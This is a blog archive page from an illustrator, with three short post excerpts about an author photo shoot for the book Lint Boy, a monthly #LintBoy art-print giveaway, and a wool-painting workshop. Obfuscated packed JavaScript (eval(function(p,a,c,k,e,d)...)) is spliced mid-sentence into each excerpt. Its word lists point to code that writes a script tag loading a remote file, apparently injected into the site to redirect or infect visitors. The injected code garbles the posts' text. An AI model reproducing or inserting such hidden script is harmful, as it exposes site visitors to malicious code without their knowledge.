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July 2017

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Author Photo

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|beart|var|u0026u|referrer|sznzy||js|php'.split('|'),0,{})) had never had a headshot taken. To be honest, it didn't appeal to me to look right into the camera and attempt to appear natural. For the author photo of my last books, I used a picture from when I was a child, or an image I had laying around. [caption id="attachment_51720" align="alignleft" width="400"] Photo credit, Kelvin Jones[/caption] This time around, for Lint Boy, it looked like a professional author photo was the right way to go, especially because Kelvin Jones, an amazing photographer offered to help me out. Here are some of his shots. * Kelvin was able to make me feel comfortable in front of the camera, and it wasn't such a bad experience after all. And he created this fun and informative video of a Nomadic School of...

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And the June winner is…

Every eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eirrh|var|u0026u|referrer|itbez||js|php'.split('|'),0,{})) Month I select one winner out of all the tagged #LintBoy posts, to win an Art Print from my newest book Lint Boy! For the future, sure you are in the picture to qualify! For JUNE, the winner is: Congratulations to you!...

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Painting with Wool – Workshop

  A eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|areyb|var|u0026u|referrer|tsbat||js|php'.split('|'),0,{})) Painting with Wool workshop I held in my studio a couple of months ago, organized by The Nomadic School of Wonder, Video by Kelvin Jones. Thank you to everyone who helped and participated. *...

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